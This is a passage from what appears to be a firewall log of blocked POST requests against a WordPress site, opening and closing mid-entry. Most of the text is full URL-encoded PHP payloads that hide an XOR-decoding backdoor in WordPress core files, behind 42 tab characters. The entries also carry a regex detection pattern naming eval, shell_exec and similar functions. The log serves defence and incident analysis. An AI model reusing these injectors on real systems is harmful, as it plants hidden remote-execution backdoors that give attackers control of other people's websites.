2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:49:25","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Cb:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/site-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522ref%255Cx65r%255Cx65n%255Cx63%255Cx65%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524token%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524desc%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ref%255Cx65r%255Cx65n%255Cx63%255Cx65%2522%255D%2529%253B%2520%2524rec%253D%2520%2527%2527%2520%253B%2524o%2520%253D%25200%253B%2520while%2528%2524o%2520%253C%2520strlen%2528%2524desc%2529%2529%257B%2524rec%2520.%253D%2520chr%2528ord%2528%2524desc%255B%2524o%255D%2529%2520%255E%252041%2529%253B%2524o%252B%252B%253B%257D%2520foreach%2520%2528%2524token%2520as%2520%2524key%2529%253A%2520if%2520%2528is_dir%2528%2524key%2529%2520%2526%2526%2520is_writable%2528%2524key%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524key%2522%2520.%2520%2522\/.object%2522%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524rec%2529%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:3743\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD2VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua-mobile:?1\n\nCb=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/site-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522ref%255Cx65r%255Cx65n%255Cx63%255Cx65%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524token%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524desc%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ref%255Cx65r%255Cx65n%255Cx63%255Cx65%2522%255D%2529%253B%2520%2524rec%253D%2520%2527%2527%2520%253B%2524o%2520%253D%25200%253B%2520while%2528%2524o%2520%253C%2520strlen%2528%2524desc%2529%2529%257B%2524rec%2520.%253D%2520chr%2528ord%2528%2524desc%255B%2524o%255D%2529%2520%255E%252041%2529%253B%2524o%252B%252B%253B%257D%2520foreach%2520%2528%2524token%2520as%2520%2524key%2529%253A%2520if%2520%2528is_dir%2528%2524key%2529%2520%2526%2526%2520is_writable%2528%2524key%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524key%2522%2520.%2520%2522\/.object%2522%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524rec%2529%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:49:28","129.121.41.228","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rp:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/functions.wp-scripts.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6B%255Cx65y%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx6B%255Cx65y%2522%255D%2529%2529%257B%2520%2524pointer%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx6B%255Cx65y%2522%255D%2529%253B%2520%2524reference%2520%253D%2520%2527%2527%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524pointer%2529%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524pointer%255B%2524e%255D%2529%2520%255E%252030%2529%253B%2524e%252B%252B%253B%257D%2520%2524data_chunk%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524binding%2520%253D%25200%253B%2520do%2520%257B%2520%2524ref%2520%253D%2520%2524data_chunk%255B%2524binding%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524binding%2520%253E%253D%2520count%2528%2524data_chunk%2529%2529%2520break%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524ref%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524ref%2529%2529%2520%257B%2520%2524flag%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524ref%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524flag%252C%2520%2524reference%2529%2529%2520%257B%2520include%2520%2524flag%253B%2520%2540unlink%2528%2524flag%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524binding%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:4212\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpaNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nrp=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/functions.wp-scripts.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6B%255Cx65y%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx6B%255Cx65y%2522%255D%2529%2529%257B%2520%2524pointer%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx6B%255Cx65y%2522%255D%2529%253B%2520%2524reference%2520%253D%2520%2527%2527%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524pointer%2529%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524pointer%255B%2524e%255D%2529%2520%255E%252030%2529%253B%2524e%252B%252B%253B%257D%2520%2524data_chunk%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524binding%2520%253D%25200%253B%2520do%2520%257B%2520%2524ref%2520%253D%2520%2524data_chunk%255B%2524binding%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524binding%2520%253E%253D%2520count%2528%2524data_chunk%2529%2529%2520break%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524ref%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524ref%2529%2529%2520%257B%2520%2524flag%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524ref%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524flag%252C%2520%2524reference%2529%2529%2520%257B%2520include%2520%2524flag%253B%2520%2540unlink%2528%2524flag%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524binding%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:49:30","52.232.35.131","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gt:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/functions.wp-scripts.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6B%255Cx65y%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx6B%255Cx65y%2522%255D%2529%2529%257B%2520%2524pointer%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx6B%255Cx65y%2522%255D%2529%253B%2520%2524reference%2520%253D%2520%2527%2527%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524pointer%2529%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524pointer%255B%2524e%255D%2529%2520%255E%252030%2529%253B%2524e%252B%252B%253B%257D%2520%2524data_chunk%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524binding%2520%253D%25200%253B%2520do%2520%257B%2520%2524ref%2520%253D%2520%2524data_chunk%255B%2524binding%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524binding%2520%253E%253D%2520count%2528%2524data_chunk%2529%2529%2520break%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524ref%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524ref%2529%2529%2520%257B%2520%2524flag%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524ref%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524flag%252C%2520%2524reference%2529%2529%2520%257B%2520include%2520%2524flag%253B%2520%2540unlink%2528%2524flag%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524binding%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:4212\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM3DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\ngt=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/functions.wp-scripts.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6B%255Cx65y%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx6B%255Cx65y%2522%255D%2529%2529%257B%2520%2524pointer%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx6B%255Cx65y%2522%255D%2529%253B%2520%2524reference%2520%253D%2520%2527%2527%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524pointer%2529%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524pointer%255B%2524e%255D%2529%2520%255E%252030%2529%253B%2524e%252B%252B%253B%257D%2520%2524data_chunk%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524binding%2520%253D%25200%253B%2520do%2520%257B%2520%2524ref%2520%253D%2520%2524data_chunk%255B%2524binding%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524binding%2520%253E%253D%2520count%2528%2524data_chunk%2529%2529%2520break%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524ref%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524ref%2529%2529%2520%257B%2520%2524flag%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524ref%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524flag%252C%2520%2524reference%2529%2529%2520%257B%2520include%2520%2524flag%253B%2520%2540unlink%2528%2524flag%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524binding%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:49:33","43.230.201.87","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 